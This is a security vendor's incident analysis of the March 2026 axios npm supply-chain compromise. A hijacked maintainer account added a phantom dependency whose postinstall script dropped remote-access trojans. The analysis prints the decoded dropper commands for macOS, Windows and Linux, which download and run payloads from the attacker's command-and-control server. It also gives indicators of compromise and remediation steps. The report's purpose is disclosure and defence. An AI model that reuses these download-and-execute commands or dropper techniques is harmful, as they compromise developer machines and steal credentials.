StepSecurity is hosting a community town hall on this incident on April 1st at 10:00 AM PT – Register Here.
On March 31, 2026, StepSecurity identified two malicious versions of the widely used axios HTTP client library published to npm: [email protected] and [email protected]. Both versions were published using the compromised npm credentials of a lead axios maintainer, bypassing the project’s normal GitHub Actions CI/CD pipeline. The attacker changed the maintainer’s account email to an anonymous ProtonMail address and manually published the poisoned packages via the npm CLI.
The malicious versions inject a new dependency, [email protected], which is never imported anywhere in the axios source code. Its sole purpose is to execute a postinstall script that acts as a cross platform remote access trojan (RAT) dropper, targeting macOS, Windows, and Linux. The dropper contacts a live command and control server and delivers platform specific second stage payloads. After execution, the malware deletes itself and replaces its own package.json with a clean version to evade forensic detection.
This was not opportunistic. The malicious dependency was staged 18 hours in advance. Three separate payloads were pre-built for three operating systems. Both release branches were hit within 39 minutes. Every trace was designed to self-destruct. This is among the most operationally sophisticated supply chain attacks ever documented against a top-10 npm package.
Neither malicious version contains a single line of malicious code inside axios itself. Instead, both inject a fake dependency, [email protected], a package that is never imported anywhere in the axios source, whose only purpose is to run a postinstall script that deploys a cross-platform remote access trojan (RAT). The dropper contacts a live command-and-control server, delivers separate second-stage payloads for macOS, Windows, and Linux, then erases itself and replaces its own package.json with a clean decoy, leaving a developer who inspects their node_modules folder after the fact with no indication anything went wrong.
If you have installed [email protected] or [email protected], assume your system is compromised.
These compromises were detected by StepSecurity AI Package Analyst [1][2] and StepSecurity Harden-Runner. We have responsibly disclosed the issue to the project maintainers.
StepSecurity Harden-Runner, whose community tier is free for public repos and is used by over 12,000 public repositories, detected the compromised axios package making anomalous outbound connections to the attacker’s C2 domain across multiple open source projects. For example, Harden-Runner flagged the C2 callback to sfrclak.com:8000 during a routine CI run in the backstage repository, one of the most widely used developer portal frameworks. The connection was automatically marked as anomalous because it had never appeared in any prior workflow run. Harden-Runner insights for community tier projects are public by design, allowing anyone to verify the detection: https://app.stepsecurity.io/github/backstage/backstage/actions/runs/23775668703?tab=network-events
Attack Timeline
The attack was pre-staged across roughly 18 hours, with the malicious dependency seeded on npm before the axios releases to avoid “brand-new package” alarms from security scanners:
Timestamp (UTC)
Event
2026-03-30 05:57
[email protected] published by [email protected] — a clean decoy containing a full copy of the legitimate crypto-js source, no postinstall hook. Its sole purpose is to establish npm publishing history so the package does not appear as a zero-history account during later inspection.
2026-03-30 23:59
[email protected] published by [email protected] — malicious payload added. The postinstall: “node setup.js” hook and obfuscated dropper are introduced.
2026-03-31 00:21
[email protected] published by compromised jasonsaayman account (email: [email protected]) — injects [email protected] as a runtime dependency, targeting the modern 1.x user base.
2026-03-31 01:00
[email protected] published by the same compromised account — identical injection into the legacy 0.x branch, published 39 minutes later to maximize coverage across both release lines.
2026-03-31 ~03:15
npm unpublishes [email protected] and [email protected]. Both versions are removed from the registry and the latest dist-tag reverts to 1.14.0. [email protected] had been live for approximately 2 hours 53 minutes; [email protected] for approximately 2 hours 15 minutes. Timestamp is inferred from the axios registry document’s modified field (03:15:30Z) — npm does not expose a dedicated per-version unpublish timestamp in its public API.
2026-03-31 03:25
npm initiates a security hold on plain-crypto-js, beginning the process of replacing the malicious package with an npm security-holder stub.
2026-03-31 04:26
npm publishes the security-holder stub [email protected] under the [email protected] account, formally replacing the malicious package on the registry. [email protected] had been live for approximately 4 hours 27 minutes. Attempting to install any version of plain-crypto-js now returns the security notice.
Background: What Is axios?
axios is the most popular HTTP client library in the JavaScript ecosystem. It is used in virtually every Node.js and browser application that makes HTTP requests — from React front-ends to CI/CD tooling to server-side APIs. With over 300 million weekly downloads, a compromise of even a single minor release has an enormous potential blast radius. A developer running a routine npm install or npm update would have no reason to suspect the package was deploying malware.
How the Attack Works
Step 1 — Maintainer Account Hijack
The attacker compromised the jasonsaayman npm account, the primary maintainer of the axios project. The account’s registered email was changed to [email protected] — an attacker-controlled ProtonMail address. Using this access, the attacker published malicious builds across both the 1.x and 0.x release branches simultaneously, maximizing the number of projects exposed.
Both [email protected] and [email protected] are recorded in the npm registry as published by jasonsaayman, making them indistinguishable from legitimate releases at a glance.
A critical forensic signal is visible in the npm registry metadata. Every legitimate axios 1.x release is published via GitHub Actions with npm’s OIDC Trusted Publisher mechanism, meaning the publish is cryptographically tied to a verified GitHub Actions workflow. [email protected] breaks that pattern entirely — published manually via a stolen npm access token with no OIDC binding and no gitHead:
// [email protected] — LEGITIMATE
“_npmUser”: {
“name”: “GitHub Actions”,
“email”: “[email protected]”,
“trustedPublisher”: {
“id”: “github”,
“oidcConfigId”: “oidc:9061ef30-3132-49f4-b28c-9338d192a1a9”
}
}
// [email protected] — MALICIOUS
“_npmUser”: {
“name”: “jasonsaayman”,
“email”: “[email protected]”
// no trustedPublisher, no gitHead, no corresponding GitHub commit or tag
}
There is no commit or tag in the axios GitHub repository that corresponds to 1.14.1. The release exists only on npm. The OIDC token that legitimate releases use is ephemeral and scoped to the specific workflow — it cannot be stolen. The attacker must have obtained a long-lived classic npm access token for the account.
Step 2 — Staging the Malicious Dependency
Before publishing the backdoored axios releases, the attacker pre-staged a malicious package on npm: [email protected], published from a separate throwaway account (nrwise, [email protected]). Note the shared use of ProtonMail across both accounts — a consistent operational pattern for this actor.
This package is deliberately designed to look legitimate:
- Masquerades as crypto-js — the same description (“JavaScript library of crypto standards”), the same author attribution (Evan Vosberg), and the same repository URL pointing to github.com/brix/crypto-js
- Contains a postinstall hook: “postinstall”: “node setup.js” — executes automatically, without any user action, on every npm install
- Pre-stages its own evidence destruction — includes a file called package.md, a clean package.json stub (version 4.2.0, no postinstall) ready to overwrite the real manifest after the attack runs
Step 3 — Injecting the Dependency into axios
The attacker published [email protected] and [email protected] with plain-crypto-js: “^4.2.1” added as a runtime dependency — a package that has never appeared in any legitimate axios release. The diff is surgical: every other dependency is identical to the prior clean version.
Dependency comparison between clean and compromised versions:
- [email protected] — follow-redirects, form-data, proxy-from-env [CLEAN]
- [email protected] — follow-redirects, form-data, proxy-from-env, plain-crypto-js@^4.2.1 [MALICIOUS]
- [email protected] — follow-redirects, form-data, proxy-from-env [CLEAN]
- [email protected] — follow-redirects, form-data, proxy-from-env, plain-crypto-js@^4.2.1 [MALICIOUS]
When a developer runs npm install [email protected], npm resolves the dependency tree and installs [email protected] automatically. npm then executes plain-crypto-js’s postinstall script, launching the dropper.
Phantom dependency: A grep across all 86 files in [email protected] confirms that plain-crypto-js is never imported or require()’d anywhere in the axios source code. It is added to package.json only to trigger the postinstall hook. A dependency that appears in the manifest but has zero usage in the codebase is a high-confidence indicator of a compromised release.
The RAT Dropper: setup.js — Static Analysis
setup.js is a single minified file employing a two-layer obfuscation scheme designed to evade static analysis tools and confuse human reviewers.
Obfuscation Technique
All sensitive strings — module names, OS identifiers, shell commands, the C2 URL, and file paths — are stored as encoded values in an array named stq[]. Two functions decode them at runtime:
_trans_1(x, r) — XOR cipher. The key “OrDeR_7077” is parsed through JavaScript’s Number(): alphabetic characters produce NaN, which in bitwise operations becomes 0. Only the digits 7, 0, 7, 7 in positions 6–9 survive, giving an effective key of [0,0,0,0,0,0,7,0,7,7]. Each character at position r is decoded as:
charCode XOR key[(7 × r × r) % 10] XOR 333
_trans_2(x, r) — Outer layer. Reverses the encoded string, replaces _ with =, base64-decodes the result (interpreting the bytes as UTF-8 to recover Unicode code points), then passes the output through _trans_1.
The dropper’s entry point is _entry(“6202033”), where 6202033 is the C2 URL path segment. The full C2 URL is: http://sfrclak.com:8000/6202033
Fully Decoded Strings
StepSecurity fully decoded every entry in the stq[] array. The recovered plaintext reveals the complete attack:
stq[0] → “child_process” // shell execution
stq[1] → “os” // platform detection
stq[2] → “fs” // filesystem operations
stq[3] → “http://sfrclak.com:8000/” // C2 base URL
stq[5] → “win32” // Windows platform identifier
stq[6] → “darwin” // macOS platform identifier
stq[12] → “curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &”
stq[13] → “package.json” // deleted after execution
stq[14] → “package.md” // clean stub renamed to package.json
stq[15] → “.exe”
stq[16] → “.ps1”
stq[17] → “.vbs”
Platform-Specific Payloads
The dropper checks os.platform() and branches into one of three attack paths:
macOS AppleScript Dropper
On macOS (darwin), the dropper writes an AppleScript file to the system temp directory and executes it silently:
nohup osascript “” > /dev/null 2>&1 &
The AppleScript contacts the C2 server with POST body packages.npm.org/product0, downloads the macOS RAT binary, saves it to /Library/Caches/com.apple.act.mond (a path designed to look like a legitimate Apple system cache entry), makes it executable with chmod 770, and launches it in the background via /bin/zsh:
do shell script “curl -o /Library/Caches/com.apple.act.mond \
-d packages.npm.org/product0 \
-s http://sfrclak.com:8000/6202033 \
&& chmod 770 /Library/Caches/com.apple.act.mond \
&& /bin/zsh -c \”/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &\” \
&> /dev/null”
The AppleScript file is deleted after execution. The only persistent artifact is /Library/Caches/com.apple.act.mond. The path is deliberate: /Library/Caches/ is a system-owned directory rarely inspected during incident response, and the name com.apple.act.mond mimics Apple’s reverse-DNS daemon naming convention — the suffix likely abbreviates “Activity Monitor Daemon” to blend in with legitimate Apple background processes in the same directory.
Windows VBScript + PowerShell Dropper
On Windows (win32), the attack chain involves three stages:
- Run where powershell to locate the PowerShell binary path
- Copy the PowerShell binary to %PROGRAMDATA%\wt.exe — disguised as the Windows Terminal executable, providing a persistent copy of the interpreter
- Write a VBScript (.vbs) to the temp directory and execute it via cscript //nologo
The VBScript runs a fully hidden cmd.exe window (0, False suppresses all UI):
Set objShell = CreateObject(“WScript.Shell”)
objShell.Run “cmd.exe /c curl -s -X POST “ & _
“-d ““packages.npm.org/product1”” “ & _
“”“http://sfrclak.com:8000/6202033”” > ““”” “ & _
“& powershell -w hidden -ep bypass -file ““”” “ & _
“”“http://sfrclak.com:8000/6202033”” & del ““”” /f”, 0, False
The C2 returns a PowerShell RAT script, saved to %TEMP%\6202033.ps1 (using the campaign ID as filename). It runs with -ExecutionPolicy Bypass and -WindowStyle Hidden, then self-deletes. The VBScript (%TEMP%\6202033.vbs) is also deleted by cscript after execution. The only persistent artifact is %PROGRAMDATA%\wt.exe.
Linux Python Dropper
On all other platforms (Linux, etc.), the dropper executes a direct shell command via Node.js’s execSync:
curl -o /tmp/ld.py \
-d packages.npm.org/product2 \
-s http://sfrclak.com:8000/6202033 \
&& nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &
The C2 returns a Python RAT script. It is saved to /tmp/ld.py and executed in the background with nohup. The file remains on disk at /tmp/ld.py.
Three products, one C2: Each platform sends a distinct POST body to the same C2 URL — packages.npm.org/product0 (macOS), packages.npm.org/product1 (Windows), packages.npm.org/product2 (Linux). This allows the C2 server to serve a platform-appropriate payload in response to a single endpoint. The packages.npm.org/ prefix in the POST body is a deliberate attempt to make outbound traffic appear as benign npm registry communication in network logs and SIEM rules at a glance.
Self-Cleanup — Hiding the Evidence
After launching the platform payload, setup.js performs three forensic cleanup steps that make standard post-infection analysis unreliable:
- Deletes itself — fs.unlink(__filename) removes setup.js from the installed package directory
- Deletes package.json — removes the file that contains the incriminating “postinstall”: “node setup.js” hook
- Renames package.md to package.json — the pre-staged clean stub (version 4.2.0, no postinstall, no setup.js reference) is moved into place
Any post-infection inspection of node_modules/plain-crypto-js/package.json will show a completely clean manifest. There is no postinstall script, no setup.js file, and no indication that anything malicious was ever installed. Running npm audit or manually reviewing the installed package directory will not reveal the compromise.
Why the directory presence still matters: Even after cleanup, the existence of node_modules/plain-crypto-js/ is sufficient evidence of compromise — this package is not a dependency of any legitimate axios version. If you find this directory, the dropper ran.
Runtime Execution Validation with StepSecurity Harden-Runner
Static analysis of the obfuscated dropper told us what the malware intended to do. To confirm it actually executes as designed, we installed [email protected] inside a GitHub Actions runner instrumented with StepSecurity Harden-Runner in audit mode. Harden-Runner captures every outbound network connection, every spawned process, and every file write at the kernel level — without interfering with execution in audit mode, giving us a complete ground-truth picture of what happens the moment npm install runs.
The full Harden-Runner insights for this run are publicly accessible:
app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/23776116077
Harden-Runner insights showing network calls to c2 domain
Network Events: C2 Contact Confirmed Across Two Workflow Steps
The network event log contains two outbound connections to sfrclak.com:8000 — but what makes this particularly significant is when they occur:
- Step: Install axios 1.14.1 — 01:30:51Z PID 2401 • curl → sfrclak.com:8000 • calledBy: infra
- Step: Verify axios import and version — 01:31:27Z PID 2400 • nohup → sfrclak.com:8000 • calledBy: infra
Two things stand out immediately:
- The first C2 connection (curl, PID 2401) fires 1.1 seconds into the npm install — at 01:30:51Z, just 2 seconds after npm install began at 01:30:49Z. The postinstall hook triggered, decoded its strings, and was making an outbound HTTP connection to an external server before npm had finished resolving all dependencies.
- The second C2 connection (nohup, PID 2400) occurs 36 seconds later, in an entirely different workflow step — “Verify axios import and version.” The npm install step was long finished. The malware had persisted into subsequent steps, running as a detached background process. This is the stage-2 Python payload (/tmp/ld.py) making a callback — alive and independent of the process that spawned it.
Why both connections show calledBy: “infra”: When Harden-Runner can trace a network call to a specific Actions step through the runner process tree, it labels it “runner”. The “infra” label means the process making the connection could not be attributed to a specific step — because the dropper used nohup … & to detach from the process tree. The process was deliberately orphaned to PID 1 (init), severing all parent-child relationships. This is the malware actively evading process attribution.
Process Tree: The Full Kill Chain as Observed at Runtime
Harden-Runner captures every execve syscall. The raw process events reconstruct the exact execution chain from npm install to C2 contact:
PID 2366 bash /home/runner/work/_temp/***.sh [01:30:48.186Z]
└─ PID 2380 env node npm install [email protected] [01:30:49.603Z]
└─ PID 2391 sh -c “node setup.js” [01:30:50.954Z]
│ cwd: node_modules/plain-crypto-js ← postinstall hook fires
└─ PID 2392 node setup.js [01:30:50.955Z]
│ cwd: node_modules/plain-crypto-js
└─ PID 2399 /bin/sh -c “curl -o /tmp/ld.py \ [01:30:50.978Z]
-d packages.npm.org/product2 \
-s http://sfrclak.com:8000/6202033 \
&& nohup python3 /tmp/ld.py \
http://sfrclak.com:8000/6202033 \
> /dev/null 2>&1 &”
PID 2401 curl -o /tmp/ld.py -d packages.npm.org/product2 [01:30:50.979Z]
ppid: 2400 ← child of nohup
PID 2400 nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 [01:31:27.732Z]
ppid: 1 ← ORPHANED TO INIT — detached from npm process tree
The process tree confirms the exact execution chain decoded statically from setup.js. Four levels of process indirection separate the original npm install from the C2 callback: npm → sh → node → sh → curl/nohup. The nohup process (PID 2400) reporting ppid: 1 is the technical confirmation of the daemonization technique — by the time npm install returned successfully, a detached process was already running /tmp/ld.py in the background.
File Events: The Evidence Swap Caught in Real Time
The file event log captures every file write by PID. The plain-crypto-js/package.json entry shows two writes from two different processes — directly confirming the anti-forensics technique described in static analysis:
File: node_modules/plain-crypto-js/package.json
Write 1 — pid=2380 (npm install) ts=01:30:50.905Z
Malicious package.json written to disk during install.
Contains: { “postinstall”: “node setup.js” }
Write 2 — pid=2392 (node setup.js) ts=01:31:27.736Z [+36s]
Dropper overwrites package.json with clean stub from package.md.
Contains: version 4.2.0 manifest, no scripts, no postinstall.
The 36-second gap between the two writes is the execution time of the dropper — it wrote the second file only after successfully launching the background payload. Harden-Runner flagged this as a “Source Code Overwritten” file integrity event. Post-infection, any tool that reads node_modules/plain-crypto-js/package.json will see the clean manifest. The write event log is the only runtime artifact that proves the swap occurred.
Harden-Runner file events tab showing “Source Code Overwritten” alerts
Indicators of Compromise
Malicious npm Packages
- [email protected] · shasum: 2553649f232204966871cea80a5d0d6adc700ca
- [email protected] · shasum: d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
- [email protected] · shasum: 07d889e2dadce6f3910dcbc253317d28ca61c766
Network Indicators
- C2 domain · sfrclak.com
- C2 IP · 142.11.206.73
- C2 URL · http://sfrclak.com:8000/6202033
- C2 POST body (macOS) · packages.npm.org/product0
- C2 POST body (Windows) · packages.npm.org/product1
- C2 POST body (Linux) · packages.npm.org/product2
File System Indicators
- macOS · /Library/Caches/com.apple.act.mond
- Windows (persistent) · %PROGRAMDATA%\wt.exe
- Windows (temp, self-deletes) · %TEMP%\6202033.vbs
- Windows (temp, self-deletes) · %TEMP%\6202033.ps1
- Linux · /tmp/ld.py
Attacker-Controlled Accounts
- jasonsaayman · compromised legitimate axios maintainer, email changed to [email protected]
- nrwise · attacker-created account, [email protected], published plain-crypto-js
Safe Version Reference
- [email protected] (safe) · shasum: 7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb
Am I Affected?
Check for the malicious axios versions in your project:
npm list axios 2>/dev/null | grep -E “1\.14\.1|0\.30\.4”
grep -A1 ‘”axios”‘ package-lock.json | grep -E “1\.14\.1|0\.30\.4”
Check for plain-crypto-js in node_modules:
ls node_modules/plain-crypto-js 2>/dev/null && echo “POTENTIALLY AFFECTED”
If setup.js already ran, package.json inside this directory will have been replaced with a clean stub. The presence of the directory is sufficient evidence the dropper executed.
Check for RAT artifacts on affected systems:
# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo “COMPROMISED”
# Linux
ls -la /tmp/ld.py 2>/dev/null && echo “COMPROMISED”
“COMPROMISED”
# Windows (cmd.exe)
dir “%PROGRAMDATA%\wt.exe” 2>nul && echo COMPROMISED
Check CI/CD pipeline logs for any npm install executions that may have pulled [email protected] or [email protected]. Any pipeline that installed either version should be treated as compromised and all injected secrets rotated immediately.
For the Community: Recovery Steps
- Downgrade axios to a clean version and pin it: npm install [email protected] # for 1.x users
npm install [email protected] # for 0.x users
Add an overrides block to prevent transitive resolution back to the malicious versions:
{
“dependencies”: { “axios”: “1.14.0” },
“overrides”: { “axios”: “1.14.0” },
“resolutions”: { “axios”: “1.14.0” }
} - Remove plain-crypto-js from node_modules:
rm -rf node_modules/plain-crypto-js
npm install –ignore-scripts - If a RAT artifact is found: treat the system as fully compromised. Do not attempt to clean in place — rebuild from a known-good state.
- Rotate all credentials on any system where the malicious package ran: npm tokens, AWS access keys, SSH private keys, cloud credentials (GCP, Azure), CI/CD secrets, and any values present in .env files accessible at install time.
- Audit CI/CD pipelines for runs that installed the affected versions. Any workflow that executed npm install with these versions should have all injected secrets rotated.
- Use –ignore-scripts in CI/CD as a standing policy to prevent postinstall hooks from running during automated builds:
npm ci –ignore-scripts
- Block C2 traffic at the network/DNS layer as a precaution on any potentially exposed system:
# Block via firewall (Linux)
iptables -A OUTPUT -d 142.11.206.73-j DROP# Block via /etc/hosts (macOS/Linux)
echo “0.0.0.0 sfrclak.com” >> /etc/hosts
For StepSecurity Enterprise Customers
Harden-Runner
Harden-Runner is a purpose-built security agent for CI/CD runners.
It enforces a network egress allowlist in GitHub Actions, restricting outbound network traffic to only allowed endpoints. Both DNS and network-level enforcement prevent covert data exfiltration. The C2 callback to sfrclak.com:8000 and the payload fetch in the postinstall script would have been blocked at the network level before the RAT could be delivered.
Harden-Runner also automatically logs outbound network traffic per job and repository, establishing normal behavior patterns and flagging anomalies. This reveals whether malicious postinstall scripts executed exfiltration attempts or contacted suspicious domains, even when the malware self-deletes its own evidence afterward. The C2 callback to sfrclak.com:8000 was flagged as anomalous because it had never appeared in any prior workflow run.
Detect Compromised Developer Machines
Supply chain attacks like this one do not stop at the CI/CD pipeline. The malicious postinstall script in [email protected] drops a cross-platform RAT designed to run on the developer’s own machine, harvesting credentials, SSH keys, cloud tokens, and other secrets from the local environment. Every developer who ran npm install with the compromised axios version outside of CI is a potential point of compromise.
StepSecurity Dev Machine Guard gives security teams real-time visibility into npm packages installed across every enrolled developer device. When a malicious package is identified, teams can immediately search by package name and version to discover all impacted machines, as shown below with [email protected] and [email protected].
npm Package Cooldown Check
Newly published npm packages are temporarily blocked during a configurable cooldown window. When a PR introduces or updates to a recently published version, the check automatically fails. Since most malicious packages are identified within 24 hours, this creates a crucial safety buffer. In this case, [email protected] was published hours before the axios releases, so any PR updating to [email protected] or [email protected] during the cooldown period would have been blocked automatically.
npm Package Compromised Updates Check
StepSecurity maintains a real-time database of known malicious and high-risk npm packages, updated continuously, often before official CVEs are filed. If a PR attempts to introduce a compromised package, the check fails and the merge is blocked. Both [email protected] and [email protected] were added to this database within minutes of detection.
npm Package Search
Search across all PRs in all repositories across your organization to find where a specific package was introduced. When a compromised package is discovered, instantly understand the blast radius: which repos, which PRs, and which teams are affected. This works across pull requests, default branches, and dev machines.
AI Package Analyst
AI Package Analyst continuously monitors the npm registry for suspicious releases in real time, scoring packages for supply chain risk before you install them. In this case, both [email protected] and [email protected] were flagged within minutes of publication, giving teams time to investigate, confirm malicious intent, and act before the packages accumulated significant installs. Alerts include the full behavioral analysis, decoded payload details, and direct links to the OSS Security Feed.
Threat Center Alert
StepSecurity has published a threat intel alert in the Threat Center with all relevant links to check if your organization is affected. The alert includes the full attack summary, technical analysis, IOCs, affected versions, and remediation steps, so teams have everything needed to triage and respond immediately. Threat Center alerts are delivered directly into existing SIEM workflows for real-time visibility.
Acknowledgements
We want to thank the axios maintainers and the community members who quickly identified and triaged the compromise in GitHub issue #10604. Their rapid response, collaborative analysis, and clear communication helped the ecosystem understand the threat and take action within hours.
We also want to thank GitHub for swiftly suspending the compromised account and npm for quickly unpublishing the malicious axios versions and placing a security hold on plain-crypto-js. The coordinated response across maintainers, GitHub, and npm significantly limited the window of exposure for developers worldwide.
